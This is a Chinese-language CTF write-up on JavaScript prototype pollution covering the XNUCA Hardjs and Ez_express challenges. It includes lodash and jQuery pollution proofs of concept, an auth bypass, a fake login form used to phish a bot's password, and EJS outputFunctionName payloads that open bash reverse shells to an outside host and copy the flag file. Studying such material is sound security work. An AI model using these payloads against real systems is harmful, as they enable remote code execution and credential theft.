Javascript原型链污染

通过几道ctf题学习Javascript 原型链污染

JavaScript原型链污染

javascript原型链污染,网上介绍原理的文章已经很多了,最经典的还是P神分析的那篇文章,这里就不在详细的介绍原理了,简单来说,就是

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

最后上一张图,来更清晰的理解。

image-20200225142328583

XNUCA Hardjs

这道题有很多解,我们可以下到源码,在网页上了解一下大致的功能,可以注册、登录。登录后可以添加一些内容。接下来审计源码,这种有package.json文件的源码,我们可以先用npm audit命令来检测一下第三方的库有没有漏洞。

image-20200225142924459

可以看到lodash包有原型链污染漏洞。

找到poc

1
2
3
4
5
6
7
8
9
10
11
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

然后我们审计源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
app.get("/get",auth,async function(req,res,next){

var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);

if(dataList[0].count == 0 ){
res.json({})

}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

console.log("Merge the recorder in the database.");

var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();

for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);

if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}

}else {

console.log("Return recorder is less than 5,so return it without merge.");
var sql = "select `dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var ret = new Array();

for( var i =0 ;i< raws.length ; i++){
ret.push(JSON.parse( raws[i].dom ));
}

console.log(ret);
res.json(ret);
}

});

在get路由中dataList[0].count > 5时,会进行merge,如果我们可以控制raws[i].dom,我们就可以进行原型链污染,审计源码可以知道raws[i].dom为我们在add路由中输入的数据,那么我们就可以进行原型链污染,然后我们去找可以污染的对象,一般如果看到形如

1
2
3
4
if(aaaaa.xxxx)
{
..........
}

这样的就可以通过原型链污染来进行进一步的利用。

解法一

题目给的源码中我们可以看见有一个rebot.py,并且其中

1
chrome_options.add_argument('--disable-xss-auditor')

那么,xss一定是出题人留的一条利用链,从rebot.py可以看到,密码就是flag,bot是直接访问的127.0.0.1,然后从响应中提取用户名和密码的输入框,然后输入用户名和密码,登录。这里看上去我们是没办法利用的,但是分析我们可以通过原型链污染来bypass。在前端的代码中,用了3.3.0版本的jquery,jquery的$.extend方法也存在原型链污染漏洞,

poc:

1
2
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true

在前端app.js中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getAll(allNode){

$.ajax({
url:"/get",
type:"get",
async:false,
success: function(datas){
for(var i=0 ;i<datas.length; i++){
$.extend(true,allNode,datas[i])
}
// console.log(allNode);
}
})
}

调用了$.extend()方法,

image-20200225145755746

并且这个getAll会在页面加载的时候执行。并且在加载页面的侯还进行了页面动态渲染,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(function(){
var hints = {
header : "自定义内容",
notice: "自定义公告",
wiki : "自定义wiki",
button:"自定义内容",
message: "自定义留言内容"
};
for(key in hints){
// console.log(key);
element = $("li[type='"+key+"']");
if(element){
element.find("span.content").html(hints[key]);
}
}
})();

如果我们可以利用原型链污染在页面加载的时候在页面中插入登录表单并链接到我们的vps,那么我们就可以进行xss,得到flag了。在上面动态渲染的时候,会把hints的键值对渲染到页面,如果我们像要插入东西的话,就必须寻找一个既有type 又有content的标签。logger刚好能满足这个条件。

1
2
3
4
5
6
7
8
9
10
11
12
 <div class="am-g error-log">
<ul class="am-list am-in">
<li type="logger">
<div class="col-sm-12 col-sm-centered">
<pre class="am-pre-scrollable">
<span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span>
</pre>
</div>
</li>
</ul>

</div>

我们在本地测试一下果然可以。

那么我们只要在这里插入一个登录的表单,或者一个表单重定向的链接,就可以进行xss了,但是这里还有一个问题,就是bot默认访问127.0.0.1时进入的时登录界面,不会是我们原型链污染后的界面,所以我们继续看,在server.js中

1
2
3
4
5
6
7
8
9
10
11
12
app.get("/",auth,function(req,res,next){
res.render('index');
})

function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}

/路由中,如果我们通过了auth函数,就会直接到index的模板中,我们需要绕过这个auth函数,在函数中,开始的时候session是没有login和userid属性的,所以可以利用原型链污染来绕过这里。从而达到我们的利用目的。

下面是实际操作的步骤

先注册登录,重复发送6次payload,绕过auth函数。

1
{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}

image-20200225153310973

然后我们访问get界面,触发原型链污染,然后清空cookie,仍可访问,说明已经绕过auth函数,接下来插入logger

,在vps上写好登录框

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form action="#" method="get" class="am-form">
<label for="email">用户名:</label>
<input type="text" name="username" id="email" value="">
<br>
<label for="password">密码:</label>
<input type="password" name="password" id="password" value="">
<br>
<label for="remember-me">
<input id="remember-me" type="checkbox">
记住密码
</label>
<br />
<div class="am-cf">
<input type="submit" name="" value="登录" class="am-btn am-btn-primary am-btn-sm am-fl">
<input type="button" onclick="location.replace('<%= next %>')" value="注册" class="am-btn am-btn-default am-btn-sm am-fr">
</div>
</form>
</body>
</html>

然后发送payload,等待bot点击,去vps收flag。

image-20200225154218671

以上是前端加后端的做法。

解法二

这道题还有一种后端sys模板rce的方法,由于模板引擎存在变量拼接的过程,所以存在RCE的可能,然后我们跟进res.render()函数去分析,到response.js的render函数

image-20200225175640508

一些merge之后,调用然后跟到app.render()函数,继续跟进

image-20200225175813279

image-20200225175935554

跟进tryRender()函数

image-20200225180110538

跟到view.js中的render()函数

image-20200225180159127

到engine()函数,又跟到ejs.js的渲染引擎的渲染函数exports.renderFile()

image-20200225180528375

//……………………………………

image-20200225191935895

这里省略了一些无关的代码。renderFile()函数后面又调用了tryHandleCache(),继续跟进,

image-20200225180656822

这里又跟进到handleCache()函数

image-20200225181034328

然后跟进exports.compile()函数

image-20200225181212417

这里 new了一个Template,然后调用了其compile()函数,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
compile: function () {
var src;
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
var escapeFn = opts.escapeFunction;
var ctor;

if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}

if (opts.compileDebug) {
src = 'var __line = 1' + '\n'
+ ' , __lines = ' + JSON.stringify(this.templateText) + '\n'
+ ' , __filename = ' + (opts.filename ?
JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
+ 'try {' + '\n'
+ this.source
+ '} catch (e) {' + '\n'
+ ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
+ '}' + '\n';
}
else {
src = this.source;
}
//......
try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
}
catch(e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
}
else {
throw e;
}
}
}
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
catch(e) {
// istanbul ignore else
if (e instanceof SyntaxError) {
if (opts.filename) {
e.message += ' in ' + opts.filename;
}
e.message += ' while compiling ejs\n\n';
e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
e.message += 'https://github.com/RyanZim/EJS-Lint';
if (!e.async) {
e.message += '\n';
e.message += 'Or, if you meant to create an async function, pass async: true as an option.';
}
}
throw e;
}

if (opts.client) {
fn.dependencies = this.dependencies;
return fn;
}

// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = function (data) {
var include = function (path, includeData) {
var d = utils.shallowCopy({}, data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
};
returnedFn.dependencies = this.dependencies;
return returnedFn;
}

image-20200225182824684

compile函数中再这里先判断了outputFunctionName是否存在,如果存在就拼接到prepended,然后再传给this.source,

image-20200225183013346

这里compileDebug为TRUE,会把this.source拼接到src,

image-20200225183207866

这里涉及到Function构造函数。

Function 构造函数创建一个新的 Function 对象。直接调用此构造函数可用动态创建函数,但会遭遇来自 eval 的安全问题和相对较小的性能问题。然而,与 eval 不同的是,Function 构造函数只在全局作用域中运行。

每个 JavaScript 函数实际上都是一个 Function 对象。运行 (function(){}).constructor === Function 便可以得到这个结论。

1
2
3
const sum = new Function('a', 'b', 'return a + b');

console.log(sum(2, 6));

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function

image-20200225193150541

之后将returnedFn返回。我们可以看下compile函数中opts变量的outputFunctinName 为undefined,所以我们就可以对outputFunctionName 进行原型链污染,达到rce的效果。

我们再梳理一下调用栈:

  1. server.js :: res.render()
  2. response.js :: render()
  3. application.js :: render()
  4. application.js :: tryRender()
  5. view.js :: render()
  6. ejs.js :: exports.renderFile()
  7. ejs.js :: tryHandleCache()
  8. ejs.js :: handleCache()
  9. ejs.js :: exports.compile()
  10. ejs.js :: compile()
  11. ejs.js :: fn = new ctor(opts.localsName + ‘, escapeFn, include, rethrow’, src)
  12. ejs.js :: fn.apply(opts.context, [data || {}, escapeFn, include, rethrow])

然后在这道题上,我们开始利用原型链污染进行rce.

payload:

1
2
3
4
5
6
7
8
9
10
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xx 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}

image-20200225195631671

image-20200225195717892

ichunqiu 新春公益赛 Ez_express

这道题目也给了源码,有下面几个路由:

  • / :如果没登录会跳转到/login
  • /login
    • get 无特殊功能
    • post 若submit为register为注册,若submit为login为登录。
  • /action : 只有admin可以用
  • /info :无特殊功能

接下来审计源码,先看routes/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
//console.log(req.session.user.data)
//console.log(res.outputFunctionName)
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {

res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

可以看到在注册的时候,safeKeyword()函数会检测禁止注册userid为admin(包括大小写),如果通过safeKeyword()函数验证,就用toUpperCase()函数将输入的userid变成大写,赋值给session。

然后再/action路由中通过比较req.session.user.user!=”ADMIN”来判断用户是否是admin。

这里我们可以参考P神之前发的一篇关于javascript的大小写的小特性的文章,利用其中特性来绕过。

这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.

绕过这里之后,我们可以看到/action中调用了clone()函数,clone()又调用了merge()函数,这里就可以发生原型链污染。

1
2
3
4
5
6
7
8
9
10
11
12
13
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}

接下来,我们在本地测试一下,这里是否可以进行原型链污染,

image-20200225215922481

结果是可以的,然后可以看到这里用的也是ejs的渲染引擎,然后我们继续污染outputFunctionName,来RCE。

paylaod

1
{"constructor":{"prototype":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/174.0.197.203/8888 0>&1\"');var __tmp2"}}}

image-20200225220249254

然后访问一下网页触发render()函数。在vps上收flag.

image-20200225220420908

另外也可以把flag读到读到public文件夹,

payload

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag> /app/public/flag\"');var __tmp2"}}

然后访问flag,即可下载。

参考:

https://www.xmsec.cc/prototype-pollution-notes/

https://xz.aliyun.com/t/6113